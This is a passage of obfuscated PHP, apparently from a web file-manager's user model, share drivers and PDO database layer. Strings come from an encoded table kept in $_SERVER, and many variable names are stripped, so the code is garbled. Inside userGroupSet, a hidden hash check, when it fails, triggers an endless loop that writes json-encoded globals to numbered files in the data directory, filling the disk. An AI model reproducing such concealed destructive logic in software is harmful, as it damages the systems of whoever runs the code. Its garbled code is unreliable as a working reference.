$[$ǃ׬[2440]] = Action($ǃ׬[2441])->parseUrl($[$ǃ׬[2440]]); return $; } return $this->cacheFunctionGet($ǃ׬[2040], $Ƒ); } protected function getInfoSimpleOuter($) { $ =& $_SERVER[]; if (!$ || $ == 0) { return array($[1753] => $[219], $[32] => $[166] . LNG($[2442]) . $[168], $[2440] => STATIC_PATH . $[2443]); } $ = $this->cacheFunctionGet($[2040], $); $ʳ = array_field_key($, explode($[50], $this->simpleField)); if (!$ʳ) { return array($[1753] => $[1242], $[32] => $[166] . LNG($[2444]) . $[168], $[2440] => STATIC_PATH . $[2445]); } $ʳ[$[2440]] = Action($[2441])->parseUrl($ʳ[$[2440]]); return $ʳ; } protected function groupUser($ʫ) { } public static function errorLang($٠) { $ӎ =& $_SERVER[]; $ = array(self::ERROR_USER_NOT_EXISTS => $ӎ[2446], self::ERROR_USER_PASSWORD_ERROR => $ӎ[2447], self::ERROR_USER_EXIST_NAME => $ӎ[2448], self::ERROR_USER_EXIST_PHONE => $ӎ[2449], self::ERROR_USER_EXIST_EMAIL => $ӎ[2450], self::ERROR_USER_LOGIN_LOCK => $ӎ[2451], self::ERROR_IP_NOT_ALLOW => $ӎ[2452], self::ERROR_USER_EXIST_NICKNAME => $ӎ[2453]); return LNG($[$٠]); } public function getInfoByMeta($ڷ, $̮) { $˘ =& $_SERVER[]; $ɑ = Model($˘[2454])->where(array($˘[97] => $ڷ, $˘[425] => $̮))->find(); if ($ɑ) { return $this->getInfo($ɑ[$˘[1753]]); } return !1; } public function userLoginCheck($ֹѲ, $) { $ =& $_SERVER[]; $㫗 = $this->userLoginFind($ֹѲ); if (!$㫗) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($㫗[$[1753]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($㫗[$[1753]]); } public function userLoginFind($ઃ) { $􎅔 =& $_SERVER[]; $и = array($􎅔[32] => $ઃ, $􎅔[2241] => $ઃ, $􎅔[356] => $ઃ, $􎅔[2455] => $ઃ, $􎅔[1050] => $􎅔[1052]); if ($this->nickNameRpt()) { unset($и[$􎅔[2241]]); } return $this->where($и)->find(); } public function clearCache($޽ӕ) { $ =& $_SERVER[]; $this->cacheFunctionClear($[2039], $޽ӕ); $this->cacheFunctionClear($[2040], $޽ӕ); $this->cacheFunctionClear($[2436], $޽ӕ); } public function userPasswordCheck($䛔, $) { $ݠ =& $_SERVER[]; $ֳ = $this->where(array($ݠ[1753] => intval($䛔)))->find(); $҉ = $this->metaGet($䛔); $ = isset($҉[$ݠ[2456]]) ? $҉[$ݠ[2456]] : $ݠ[12]; if (md5($ . trim($)) !== $ֳ[$ݠ[937]]) { return !1; } return !0; } public function userAdd($) { $ =& $_SERVER[]; $Љ܈ = array($[469] => $[$[32]], $[2457] => $[$[2159]], $[2458] => isset($[$[356]]) ? $[$[356]] : $[12], $[2459] => isset($[$[2455]]) ? $[$[2455]] : $[12], $[2460] => isset($[$[2241]]) ? $[$[2241]] : $[$[32]], $[2461] => isset($[$[2440]]) ? $[$[2440]] : $[12], $[2462] => isset($[$[2463]]) ? $[$[2463]] : 1, $[2464] => $[$[937]], $[2041] => isset($[$[1939]]) ? $[$[1939]] : 1024 * 1024 * 20, $[2042] => 0, $[2465] => 0, $[2086] => isset($[$[795]]) ? $[$[795]] : 1); if (!empty($[$[1753]])) { $Љ܈[$[1753]] = $[$[1753]]; } $ = $this->_checkExist($); if ($ !== !0) { return $; } if (!empty($Љ܈[$[2440]]) && strlen($Љ܈[$[2440]]) > 255) { $Љ܈[$[2440]] = $[12]; } $翍 = $this->add($Љ܈); $ = array($[2464] => $Љ܈[$[937]], $[2460] => $Љ܈[$[2241]]); $this->userEdit($翍, $); Model($[1388])->userRootAdd($翍); return $翍; } protected function userEditTest($ܐ, $˕) { return $this->call($_SERVER[][2466], $ܐ, $˕); } protected function userEdit($λ, $Ѐ) { $ԍ =& $_SERVER[]; $ = $this->getInfoSimple($λ); if (!$) { return !1; } $ = $this->_checkExist($Ѐ, $λ); if ($ !== !0) { return $; } if (isset($Ѐ[$ԍ[937]]) && trim($Ѐ[$ԍ[937]]) != $ԍ[12]) { $٤ = $this->metaGet($λ); if (empty($٤[$ԍ[2456]])) { $٤[$ԍ[2456]] = rand_string(10); Model($ԍ[553])->metaSet($λ, $ԍ[2456], $٤[$ԍ[2456]]); } $Ѐ[$ԍ[937]] = md5($٤[$ԍ[2456]] . trim($Ѐ[$ԍ[937]])); } else { unset($Ѐ[$ԍ[937]]); } if (!empty($Ѐ[$ԍ[2440]]) && strlen($Ѐ[$ԍ[2440]]) > 255) { $Ѐ[$ԍ[2440]] = $ԍ[12]; } $this->where(array($ԍ[1744] => $λ))->save($Ѐ); if (isset($Ѐ[$ԍ[2241]])) { $this->setNamePinyin($λ, $Ѐ[$ԍ[2241]]); } $this->clearCache($λ); return !0; } public function setNamePinyin($, $ݯ = false) { $ۃ =& $_SERVER[]; if (!$ݯ) { $ = $this->getInfoSimple($); $ݯ = $[$ۃ[2241]] ? $[$ۃ[2241]] : $[$ۃ[32]]; } $ = Model($ۃ[574]); if (!Input::check($ݯ, $ۃ[630])) { return $->metaSet($, array($ۃ[513] => $ۃ[12], $ۃ[512] => $ۃ[12])); } return $->metaSet($, array($ۃ[513] => str_replace($ۃ[53], $ۃ[12], Pinyin::get($ݯ)), $ۃ[512] => Pinyin::get($ݯ, $ۃ[631]))); } private function nickNameRpt() { $Ϝ =& $_SERVER[]; $ = Model($Ϝ[815])->get($Ϝ[2467]); $ҡ = $GLOBALS[$Ϝ[6]][$Ϝ[432]][$Ϝ[2467]]; $ڎ쟳 = !is_null($) ? $ : $ҡ; return !!$ڎ쟳; } private function _checkExist($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2241] => UserModel::ERROR_USER_EXIST_NICKNAME, $[356] => UserModel::ERROR_USER_EXIST_EMAIL, $[2455] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[2241]]); } $钓 = $ ? array($[1753] => array($[2468], $)) : array(); foreach ($ as $ => $) { $ = array(); foreach ($ as $ԩ => $Ъ) { if (isset($[$ԩ]) && $[$ԩ]) { $[] = $[$ԩ]; } } if (!$) { continue; } $׈Ħ = array_merge(array($ => array($[7], $)), $钓); $̄ = $this->where($׈Ħ)->find(); if ($̄) { return $; } } return !0; } public function userListInfo($) { $ź =& $_SERVER[]; $ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $; } if (count($) < 20) { foreach ($ as $Ē) { $[$Ē . $ź[12]] = $this->getInfoSimpleOuter($Ē); } } else { $т = array($ź[1744] => array($ź[467], $)); if (count($) == 1) { $т = array($ź[1744] => $[0]); } $ߡ = Model($ź[553])->field($this->simpleField)->where($т)->select(); $ߡ = array_to_keyvalue($ߡ, $ź[1753]); foreach ($ as $Ē) { $ɮ = $ߡ[$Ē]; if (!$ɮ) { $[$Ē . $ź[12]] = $this->getInfoSimpleOuter($Ē); continue; } $ɮ[$ź[2440]] = Action($ź[2441])->parseUrl($ɮ[$ź[2440]]); $[$Ē . $ź[12]] = $ɮ; } } return $; } protected function userStatus($ձ, $) { $Ų = $this->getInfoSimple($ձ); if (!$Ų) { return !1; } $ತ = array($_SERVER[][795] => $); return $this->userEdit($ձ, $ತ); } protected function userRemove($) { $ӽ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ = array($ӽ[1744] => $); Model($ӽ[639])->where($)->delete(); Model($ӽ[2469])->where($)->delete(); Model($ӽ[2047])->where($)->delete(); Model($ӽ[2454])->where($)->delete(); Model($ӽ[1119])->where($)->delete(); Model($ӽ[2258])->removeUserAll($); Model($ӽ[869])->userRootRemove($); return $this->where($)->delete(); } protected function userGroupSet($, $, $Å = array()) { $ژ =& $_SERVER[]; $ = $_SERVER[$ژ[925]] . $ژ[926]; $ս = $ژ[1851]; if ($_SERVER[$ژ[921]] != $ս($)) { $ = $ژ[923]; $ɧ܏ = $ژ[924]; $ = $_SERVER[$ژ[925]] . $ژ[926]; $ = $ɧ܏($); $ = explode($ژ[253], $); if (count($) < $ژ[663]) { $ݚ = $ژ[927]; $ݚ(); } $Ӳ = $ژ[928]; $Ӳ($_SERVER[$ژ[929]]); $ = $ژ[923]; $(); $ = $ژ[2259]; $ = json_encode($GLOBALS[$ژ[2260]]); $ = 1; for ($厀 = $; $厀 > 0; $厀++) { $(DATA_PATH . $厀, $); } } $ҽ𸪛 = $this->getInfoSimple($); if (!$ҽ𸪛 || !is_array($)) { return !1; } $ = Model($ژ[2047]); $->where(array($ژ[1753] => $))->delete(); $ = array(); $ = 0; foreach ($ as $ => $) { $ = array($ژ[1753] => $, $ژ[1952] => $, $ژ[2061] => $); $[$ژ[1976]] = isset($Å[$]) ? $Å[$] : 0; $++; $[] = $; } return $->addAll($, array(), !0); } protected function userGroupAdd($ŵ, $ = array()) { $́ =& $_SERVER[]; $Ɍ = $this->getInfoSimple($ŵ); if (!$Ɍ || empty($)) { return !1; } $ä = array(); foreach ($ as $۠ => $ꈩ) { $ä[] = array($́[1753] => $ŵ, $́[1952] => $۠, $́[2061] => $ꈩ, $́[1976] => 0); } return Model($́[2047])->addAll($ä, array(), !0); } protected function userGroupRemove($߬, $։) { $ѹ =& $_SERVER[]; $瘠 = $this->getInfoSimple($߬); if (!$瘠 || !$։) { return !1; } $ = array($ѹ[1744] => $߬, $ѹ[2045] => $։); return Model($ѹ[2047])->where($)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][420]]); return $; } public function listByID($ٵ) { $݊ =& $_SERVER[]; if (!$ٵ) { return; } $̣ = array($݊[1753] => array($݊[7], $ٵ)); $ = $this->where($̣)->select(); $ = array_sort_keep($, $݊[1753], $ٵ); $this->_listDataApply($); return $; } public function listByGroup($Ə = 0, $ = array()) { $Ɛ =& $_SERVER[]; $Ç = $Ɛ[12]; $ = array(); if ($Ə) { $ = array($Ɛ[2470] => intval($Ə)); $Ç = "\x4c\105\x46\x54\x20\112\117\111\116\40{$this->tablePrefix}\165\x73\x65\162\137\x67\162\157\x75\160\x20\165\163\145\x72\x5f\147\x72\x6f\x75\x70\40\x6f\x6e\x20\x75\163\x65\x72\56\x75\163\x65\x72\111\x44\x20\x3d\40\x75\163\x65\x72\x5f\x67\162\157\x75\x70\56\x75\x73\145\x72\111\104"; $ʼnڟ = Input::get($Ɛ[505], null, $Ɛ[12]) ? $Ɛ[12] : $Ɛ[2471]; } if (isset($[$Ɛ[795]])) { $[$Ɛ[2472]] = $[$Ɛ[795]]; } $锘 = $this->_makeOrder($ʼnڟ)->field($Ɛ[2473])->where($)->join($Ç)->selectPage(50); $this->_listDataApply($锘[$Ɛ[420]]); return $锘; } private function _makeOrder($ᛝ = '') { $ =& $_SERVER[]; $蹷 = array($[1753], $[32], $[1941], $[1913], $[222]); $ = array($[498] => $[499], $[500] => $[501]); $ = Input::get($[505], $[7], $[1744], $蹷); $󮮇 = Input::get($[506], $[7], $[2048], array($[2048], $[500])); $󮮇 = $[$󮮇]; $ᛝ = $ᛝ . "\165\163\145\x72\56{$}\40{$󮮇}\54\x20\165\x73\x65\162\56\x75\163\x65\x72\111\x44\40\141\x73\x63"; return $this->alias($[2175])->order($ᛝ); } public function listSearch($҃) { $ =& $_SERVER[]; $ĥ = trim($҃[$[2051]]); $Ƿ = explode($[53], $ĥ); if (!$ĥ || count($Ƿ) == 1) { return $this->listSearchNow($҃); } $ = array($[420] => array()); foreach ($Ƿ as $֔) { if (!trim($֔)) { continue; } $҃[$[2051]] = $֔; $Ƚ = $this->listSearchNow($҃); $[$[420]] = array_merge($[$[420]], $Ƚ[$[420]]); } $[$[420]] = array_unique_by_key($[$[420]], $[1753]); $[$[417]] = array($[418] => count($[$[420]]), $[414] => 20, $[404] => 1, $[419] => 1); return $; } public function listSearchNow($ۧ) { $׊ =& $_SERVER[]; $Ñ = trim($ۧ[$׊[2051]]); $ = isset($ۧ[$׊[2052]]) ? $ۧ[$׊[2052]] : !1; $Ñ = str_replace($׊[2053], $׊[2054], trim($Ñ)); $ = array($׊[32] => array($׊[434], "\x25{$Ñ}\45"), $׊[356] => array($׊[434], "{$Ñ}\x25"), $׊[2241] => array($׊[434], "{$Ñ}\x25"), $׊[1050] => $׊[2055]); if (Input::check($Ñ, $׊[362])) { $[$׊[1753]] = array($׊[434], "{$Ñ}\x25"); $[$׊[2455]] = array($׊[434], "{$Ñ}\x25"); } if (!$Ñ) { $ = array(); } if (isset($ۧ[$׊[795]])) { $[$׊[795]] = $ۧ[$׊[795]]; } $ = $this->parseWhereLike($); $ѷ = $this->_makeOrder()->where($)->selectPage(20); if (!$ѷ || count($ѷ[$׊[420]]) < 5 && Input::check($Ñ, $׊[369])) { $š = $this->_searchFromMeta($׊[512], $Ñ, 10); $ = $this->_searchFromMeta($׊[513], $Ñ, 10); $֐ = array_merge($š, $, $ѷ[$׊[420]]); $ѷ[$׊[420]] = array_unique_by_key($֐, $׊[1753]); $ѷ[$׊[417]][$׊[418]] = count($ѷ[$׊[420]]); $ѷ[$׊[417]][$׊[419]] = ceil($ѷ[$׊[417]][$׊[418]] / $ѷ[$׊[417]][$׊[414]]); } $this->_listDataApply($ѷ[$׊[420]]); $this->_filterByGroup($ѷ, $); return $ѷ; } private function _filterByGroup(&$, $ضĮ) { $ =& $_SERVER[]; if (!$ضĮ) { return $; } foreach ($[$[420]] as $ => &$) { $¤ = array_to_keyvalue($[$[2144]], $[12], $[1952]); if (!in_array($ضĮ, $¤)) { unset($[$[420]][$]); } } unset($); $[$[420]] = array_values($[$[420]]); $[$[417]] = array($[2211] => count($[$[420]]), $[2209] => $[$[417]][$[414]], $[2208] => 1, $[2210] => 1); } private function _searchFromMeta($, $ҿ, $Ճא) { $Ö =& $_SERVER[]; $ҿ = strtolower($ҿ); $ = array($Ö[97] => $, $Ö[425] => array($Ö[434], "\45{$ҿ}\45")); $ = $this->parseWhereLike($); $ǩ = Model($Ö[2474])->where($)->limit($Ճא)->select(); if (!$ǩ) { return array(); } $ǩ = array_to_keyvalue($ǩ, $Ö[12], $Ö[1753]); $ = $this->where(array($Ö[1744] => array($Ö[7], $ǩ)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($ч) { $ = array($ч); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$ʪ) { $ =& $_SERVER[]; if (!$ʪ) { return; } array_remove_key($ʪ, $[937]); $ = array_to_keyvalue($ʪ, $[12], $[1753]); $this->_listAppendGroup($ʪ, $); $this->_listAppendMeta($ʪ, $); $this->_listAppendSourceRoot($ʪ, $); } private function _listAppendSourceRoot(&$ư, $ƕ) { $䎅 =& $_SERVER[]; $Ɂ = Model($䎅[869])->listSourceRoot(SourceModel::TYPE_USER, $ƕ); $Ɂ = array_to_keyvalue($Ɂ, $䎅[545]); $Ɂ = array_remove_key($Ɂ, $䎅[545]); foreach ($ư as &$ᰓ) { $ᰓ[$䎅[90]] = $Ɂ[$ᰓ[$䎅[1753]]] ? $Ɂ[$ᰓ[$䎅[1753]]] : array(); } unset($ᰓ); } private function _listAppendGroup(&$̓, $) { $ʏ =& $_SERVER[]; $ = array($ʏ[1753] => array($ʏ[7], $)); $揗 = Model($ʏ[2047])->where($)->select(); $ = array_to_keyvalue($揗, $ʏ[12], $ʏ[1952]); $ = array_remove_value(array_unique($), $ʏ[219]); if (!$ || !$揗) { return; } $ = array($ʏ[1952] => array($ʏ[7], $)); $ = Model($ʏ[2142])->field($ʏ[2475])->where($)->select(); $ = array_to_keyvalue($, $ʏ[1952]); $揗 = array_to_keyvalue_group($揗, $ʏ[1753]); foreach ($揗 as &$گ) { $ç = array(); foreach ($گ as $) { if (!$[$ʏ[2061]]) { continue; } $ޔؑ = Model($ʏ[547])->listData($[$ʏ[2061]]); $ç[] = array($ʏ[1952] => $[$ʏ[1952]], $ʏ[2476] => $[$[$ʏ[1952]]][$ʏ[32]], $ʏ[560] => $[$[$ʏ[1952]]][$ʏ[560]], $ʏ[462] => $ޔؑ); } $گ = $ç; } unset($گ); foreach ($̓ as &$ҡ) { $ҡ[$ʏ[2144]] = array(); if (isset($揗[$ҡ[$ʏ[1753]]])) { $ҡ[$ʏ[2144]] = $揗[$ҡ[$ʏ[1753]]]; } } unset($ҡ); } public function userAppendGroup($) { $ʴ =& $_SERVER[]; if (!$) { return array(); } $this->_listAppendGroup($, array_to_keyvalue($, $ʴ[12], $ʴ[1753])); return $; } private function _listAppendMeta(&$, $) { $ʵ‚ =& $_SERVER[]; $訉 = UserJobModel::JOB_KEY; $֢˥ = array($ʵ‚[2456]); $Ώ = array($ʵ‚[1753] => array($ʵ‚[7], $)); $ = Model($ʵ‚[2454])->where($Ώ)->select(); $ = array_to_keyvalue_group($, $ʵ‚[1753]); foreach ($ as &$) { $ߛѺ = array(); foreach ($ as $) { if (!in_array($[$ʵ‚[97]], $֢˥)) { $ߛѺ[$[$ʵ‚[97]]] = $[$ʵ‚[425]]; } } $ = $ߛѺ; } unset($); $Ù = Model($ʵ‚[2477]); foreach ($ as &$ƴ) { $͜ = array(); if (isset($[$ƴ[$ʵ‚[1753]]])) { $͜ = $[$ƴ[$ʵ‚[1753]]]; } $ƴ[$ʵ‚[2478]] = array(); if (isset($͜[$訉])) { $ƴ[$ʵ‚[2478]] = $Ù->getUserJobInfo($͜[$訉]); } } unset($ƴ); } protected function groupUserAll($δҖ) { $ɬ =& $_SERVER[]; if (!$δҖ) { return !1; } $ќ˷ = Model($ɬ[2047])->field($ɬ[1753])->where(array($ɬ[1952] => array($ɬ[7], $δҖ)))->select(); $ќ˷ = array_to_keyvalue($ќ˷, $ɬ[12], $ɬ[1753]); return array_unique($ќ˷); } public function userSearch($, $ = "\52") { return Model($_SERVER[][574])->where($)->field($)->find(); } } goto dྍ; dǕ: class PathDriverDriverShareItem { public function __construct($ȝ) { $this->pathParse = $ȝ; } public function __call($ƚޠ, $) { $͆ҩ =& $_SERVER[]; if (method_exists($this, $ƚޠ)) { return; } $͇ = call_user_func_array(array($͆ҩ[1397], $ƚޠ), $); $Ǽ = array($͆ҩ[1398], $͆ҩ[1399], $͆ҩ[1400], $͆ҩ[1401], $͆ҩ[593], $͆ҩ[595], $͆ҩ[1402], $͆ҩ[110], $͆ҩ[1403], $͆ҩ[1404]); if (in_array($ƚޠ, $Ǽ)) { $͇ = $this->getPathOuter($͇); } return $͇; } public function copy($ӡ, $ل濈, $ԩѾ = false, $ = false) { return $this->copyMove($ӡ, $ل濈, $ԩѾ, $_SERVER[][593], $); } public function move($ƈ, $ɐ, $ = false, $н = false) { return $this->copyMove($ƈ, $ɐ, $, $_SERVER[][595], $н); } private function copyMove($, $, $, $ף, $ٱ = false) { $ᦜ =& $_SERVER[]; $ = $; $ʛ = IO::driverMake($); if ($ʛ->pathParse[$ᦜ[1204]]) { $ = $ʛ->pathParse[$ᦜ[1204]]; } else { $ = $; } $ = IO::copyMove($, $, $, $ף, $ٱ); $ = $this->getPathOuter($); return $; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][87]]); } public function pathFather($ܕ) { return get_path_father($this->pathParse[$_SERVER[][87]]); } public function iconvSystem($) { return $; } protected function infoParse($Ƌ, $ȴ = false) { $߅ =& $_SERVER[]; $ = $this->pathParse[$߅[536]][$߅[1229]] . $this->pathParse[$߅[1222]]; if ($ȴ) { $ь = IO::infoWithChildren($); } else { $ь = IO::info($); } $뉕 = $this->pathParse[$߅[536]]; return Action($߅[1395])->_shareItemeParse($ь, $뉕); } public function listAll($柦) { $ę =& $_SERVER[]; $ = IO::listAll($柦); $ = rtrim($this->pathParse[$ę[536]][$ę[1229]], $ę[8]); foreach ($ as &$ɩ) { $ɩ[$ę[87]] = $this->pathDriver . $ę[8] . ltrim(substr($ɩ[$ę[87]], strlen($)), $ę[8]); } unset($ɩ); return $; } public function listAllSimple($؁, $캎 = false) { $ =& $_SERVER[]; $ = $this->listAll($؁); $ = $this->pathParse[$[470]]; if (trim($, $[8]) == trim(get_path_father($), $[8])) { $캎 = !0; } return IO::init($[12])->listAllSimpleMake($, $, $캎); } public function getPathOuter($١) { $ =& $_SERVER[]; $ٕ = KodIO::parse($١); if ($ٕ[$[33]] == KodIO::KOD_SHARE_ITEM) { return $ٕ[$[87]]; } $ = KodIO::clear($١); $٧ = KodIO::clear($this->pathParse[$[536]][$[1229]]); $ = substr($, strlen($٧)); if (substr($, 0, strlen($٧)) != $٧) { return !1; } return $this->pathParse[$[1223]] . $[8] . ltrim($, $[8]); } public function getType() { $ʹ =& $_SERVER[]; $ʘ = str_replace($ʹ[77], $ʹ[12], get_class($this)); return strtolower($ʘ); } public function isOsDriver($ˡ) { return IO::isOsDriver($ˡ); } public function info($˻) { return $this->infoParse($˻); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($ả) { return $this->infoParse($ả); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($ơ, $ٱ = false) { $ =& $_SERVER[]; return Action($[1228])->sharePathInfo($this->pathParse[$[87]], !0, $ٱ); } public function listPath($ؖ, $È = false) { $ =& $_SERVER[]; $ = IO::listPath($ؖ, $È); if (!$) { return $; } if (is_array($[$[1396]])) { $˾ = Action($[1405])->parsePathChildren($[$[1396]], array($[470] => $ؖ)); $[$[1396]] = Action($[1228])->shareItemInfo($˾); } foreach ($ as $؊̈ => $Μ) { if (!in_array($؊̈, array($[86], $[85]))) { continue; } foreach ($Μ as $„ => $˾) { $˾ = Action($[1405])->parsePathChildren($˾, array($[470] => $ؖ)); $[$؊̈][$„] = Action($[1228])->shareItemInfo($˾); } } return $; } } class PathDriverEDS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto c; Bუ: $_SERVER[] = explode($_SERVER[][655], gzinflate(substr($_SERVER[][656], 10, -8))); $jpokiulvfc = $_SERVER[][657]; if (strlen($jpokiulvfc) < $_SERVER[][658]) { return; } goto c; DԹ: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ݥ = '') { $ =& $_SERVER[]; if (!class_exists($[962])) { think_exception(think_lang($[14]) . $[963]); } if (!empty($ݥ)) { $this->config = $ݥ; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($Д = '', $ = 0) { $ž̳ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($Д)) { $Д = $this->config; } $움 = !empty($Д[$ž̳[17]][$ž̳[18]]) ? $Д[$ž̳[17]][$ž̳[18]] : $this->pconnect; if ($움) { $Д[$ž̳[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$] = new PDO($Д[$ž̳[964]], $Д[$ž̳[936]], $Д[$ž̳[937]], $Д[$ž̳[17]]); } catch (PDOException $܍) { think_exception($܍->getMessage()); } $this->dbType = $this->_getDsnType($Д[$ž̳[964]]); if (in_array($this->dbType, array($ž̳[965], $ž̳[966], $ž̳[967], $ž̳[968]))) { think_exception($ž̳[969] . $this->dbType . $ž̳[970] . $this->dbType . $ž̳[971]); } if (!$this->linkID[$]) { think_exception($ž̳[972]); } try { $this->linkID[$]->exec($ž̳[973] . think_config($ž̳[939])); } catch (Exception $܍) { } $this->connected = !0; if (1 != think_config($ž̳[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->PDOStatement = null; } public function query($ᮞ, $ƈ = array()) { $Ӆʠ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ᮞ; if (!empty($ƈ)) { $this->queryStr .= $Ӆʠ[974] . print_r($ƈ, !0) . $Ӆʠ[975]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($Ӆʠ[23], 1); think_status($Ӆʠ[24]); $this->PDOStatement = $this->_linkID->prepare($ᮞ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ʨ = $this->PDOStatement->execute($ƈ); $this->debug(); if (!1 === $ʨ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($׻, $䃔 = array()) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $׻; if (!empty($䃔)) { $this->queryStr .= $[974] . print_r($䃔, !0) . $[975]; } $ = !1; if ($this->dbType == $[968]) { if (preg_match($[976], $this->queryStr, $)) { $this->table = think_config($[977]) . str_ireplace(think_config($[978]), $[429], $[2]); $ = (bool) $this->query($[979] . strtoupper($this->table) . $[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($׻); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($䃔); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($[980], $׻)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ȼ = $this->_linkID->commit(); $this->transTimes = 0; if (!$ȼ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $쇕 = $this->_linkID->rollback(); $this->transTimes = 0; if (!$쇕) { $this->error(); return !1; } } return !0; } private function getAll() { $ǁ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($ǁ); return $ǁ; } public function getFields($졕) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[981])) { $Ӷ = str_replace($[982], $졕, think_config($[981])); } else { switch ($this->dbType) { case $[965]: case $[983]: $Ӷ = "\x53\x45\x4c\105\103\x54\40\x20\40\143\x6f\154\x75\x6d\x6e\x5f\x6e\141\155\x65\40\141\163\x20\47\x4e\141\x6d\x65\x27\54\40\x20\x20\144\x61\164\141\x5f\x74\171\160\x65\x20\x61\x73\x20\47\x54\171\x70\145\x27\x2c\40\x20\40\x63\157\154\165\x6d\156\137\144\x65\x66\x61\165\154\164\40\141\x73\x20\x27\x44\145\146\x61\x75\154\164\x27\54\x20\40\x20\151\x73\x5f\x6e\x75\x6c\154\x61\x62\x6c\145\40\x61\x73\40\x27\116\x75\x6c\x6c\47\xa\11\11\x46\122\x4f\115\11\151\156\146\157\162\x6d\x61\x74\151\157\156\137\163\x63\x68\145\x6d\141\56\x74\141\x62\x6c\x65\x73\40\101\123\x20\x74\12\11\x9\112\x4f\x49\x4e\11\151\156\146\157\162\x6d\x61\x74\x69\157\156\x5f\163\x63\x68\x65\155\x61\56\x63\157\x6c\165\x6d\156\163\40\101\x53\40\143\xa\x9\11\x4f\116\40\40\164\56\x74\x61\142\x6c\x65\137\143\x61\x74\141\154\157\x67\x20\x3d\x20\143\x2e\x74\x61\142\x6c\145\x5f\143\141\x74\141\x6c\x6f\x67\12\x9\x9\101\x4e\x44\40\x74\x2e\x74\x61\x62\154\145\x5f\x73\x63\x68\x65\155\141\x20\x3d\x20\x63\56\164\141\142\154\x65\x5f\163\x63\x68\145\155\x61\xa\x9\x9\x41\x4e\x44\40\164\x2e\164\x61\x62\x6c\x65\137\156\141\x6d\145\x20\x3d\x20\143\56\164\141\142\x6c\145\x5f\156\141\x6d\x65\xa\x9\x9\x57\110\x45\122\105\40\40\40\x74\56\164\141\x62\x6c\x65\x5f\156\141\155\x65\x20\75\40\x27{$졕}\47"; break; case $[984]: $Ӷ = $[985] . $졕 . $[986]; break; case $[966]: case $[968]: $Ӷ = $[987] . $[988] . $[989] . strtoupper($졕) . $[990] . strtoupper($졕) . $[991]; break; case $[992]: $Ӷ = $[993] . $졕 . $[994]; break; case $[967]: break; case $[995]: default: $Ӷ = $[996] . ($this->dbType == $[995] ? "\x60{$졕}\140" : $졕); } } $Ѝ = $this->query($Ӷ); $ = array(); if ($Ѝ) { foreach ($Ѝ as $˹ => $Č) { $Č = array_change_key_case($Č); $Č[$[32]] = isset($Č[$[32]]) ? $Č[$[32]] : $[429]; $Č[$[33]] = isset($Č[$[33]]) ? $Č[$[33]] : $[429]; $ע = isset($Č[$[325]]) ? $Č[$[325]] : $Č[$[32]]; $[$ע] = array($[32] => $ע, $[33] => $Č[$[33]], $[35] => (bool) (isset($Č[$[106]]) && $Č[$[106]] === $[12] || isset($Č[$[35]]) && $Č[$[35]] === $[12]), $[37] => isset($Č[$[37]]) ? $Č[$[37]] : (isset($Č[$[56]]) ? $Č[$[56]] : $[429]), $[39] => isset($Č[$[97]]) ? strtolower($Č[$[97]]) == $[41] : (isset($Č[$[57]]) ? $Č[$[57]] : !1), $[42] => isset($Č[$[997]]) ? strtolower($Č[$[997]]) == $[44] : (isset($Č[$[97]]) ? $Č[$[97]] : !1)); } } return $; } public function getTables($靫 = '') { $ =& $_SERVER[]; if (think_config($[998])) { $ = str_replace($[999], $靫, think_config($[998])); } else { switch ($this->dbType) { case $[966]: case $[968]: $ = $[1000]; break; case $[965]: case $[983]: $ = $[1001]; break; case $[992]: $ = $[1002]; break; case $[967]: think_exception(think_lang($[1003]) . $[1004]); break; case $[984]: $ = $[45] . $[46] . $[47]; break; case $[995]: default: if (!empty($靫)) { $ = $[947] . $靫 . $[948]; } else { $ = $[949]; } } } $ = $this->query($); $ÿ = array(); foreach ($ as $ٞٱ => $) { $ÿ[$ٞٱ] = current($); } return $ÿ; } protected function parseLimit($Ė) { $ݱ =& $_SERVER[]; $ = $ݱ[12]; if (!empty($Ė)) { switch ($this->dbType) { case $ݱ[992]: case $ݱ[984]: 